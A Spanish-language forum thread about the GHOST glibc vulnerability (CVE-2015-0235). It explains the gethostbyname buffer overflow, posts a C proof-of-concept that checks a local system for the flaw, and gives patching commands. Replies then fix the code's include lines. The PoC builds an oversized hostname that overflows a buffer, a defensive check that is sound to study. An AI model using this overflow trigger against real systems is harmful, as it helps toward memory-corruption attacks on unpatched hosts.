(http://www.adslzone.net/app/uploads/2015/01/ghost-linux-security-vulnerability.jpg)
Bueno, me ha sorprendido no encontrar nada con el buscador del foro sobre esta vulnerabilidad, si se trata de un error y trataron ya este tema, pido disculpas, y borren el tema. Estaba en dudas si ponerlo en seguridad o hacking, pero como es algo temprana la vulnerabilidad 'publicamente', y hay tantos sistemas vulnerables por ahi, lo considere correcto aca.
Sin dudas una de las noticias de estos dias es el descubrimiento de la vulnerabilidad
CVE-2015-0235.
Afecta a la libreria
"glibc". La gente de Qualys descubrio un interesante desbordamiento de buffer en una funcion de glibc llamada
"the_nss_hostname_digits_dots()". Se puede tomar ventaja remotamente de esta vulnerabilidad desde la funcion gethostbyname() de glibc.
Al parecer de
glibc-2.17 a
glibc-2.18 se encuentra parcheado. De hecho lo estaban desde el 2013 pero no se considero de mayor prioridad y se paso por alto en muchos desarrolladores, por ende los modulos de ciertas distribuciones siguen siendo aun vulnerables.
Algunas app conocidas que dependen de esta libreria son Apache, GnuPG, OpenSSH, entre otras.A continuacion adjunto un PoC hecho por vpetkov, para que puedan testear la vulnerabilidad localmente. Primero dense una idea de que libreria tienen instalada con el siguiente comando, desde mi debian/ubuntu (sistemas derivados de estos):
$> ldd --versionDesde Redhat y CentOS:
$> rpm -q glibcEl PoC para verificar si es vulnerable o no el sistema, peguenlo en un editor de texto, guardenlo con como ghost.c y luego lo deben compilar con gcc de la siguiente manera
$> gcc ghost.c -o ghost (compilan)
$> chmod +x ghost (le dan permisos de ejecucion).
$> ./ghost (ejecutan)#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
Si es vulnerable, saldria "vulnerable" je je.
Sino, lo contrario.
Para fixear esto desde
Debian/Ubuntu vamos a enfocar solamente en actualizar la libc.
$> apt-get update
$> apt-get install --only-upgrade libc6 -y(Reiniciemos, y luego volver a verificar con el PoC si sigue siendo vulnerable).
El resto de distribuciones, favor de verificar y tratar de actualizar el modulo a la ultima version, y no seria mala idea el kernel tambien.
Mas informacion detallada directo desde Qualys Community:
https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability
http://blog.vpetkov.net/
http://insecuritynotes.blogspot.com
Muchas Gracias Antrax.
Saludos!
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Por lo que veo copiaste mal el código a los include les hace falta
#include <netdb .h="">
#include <stdio .h="">
#include <stdlib .h="">
#include <string .h="">
#include <errno .h="">
Juraría que los había puesto, creo que ANTRAX me edito el post y agrego esa imagen arriba.. y seguramente el "code" :p..
Ya esta corregido de todos modos, gracias por la aclaración Stuxnet. Saludos.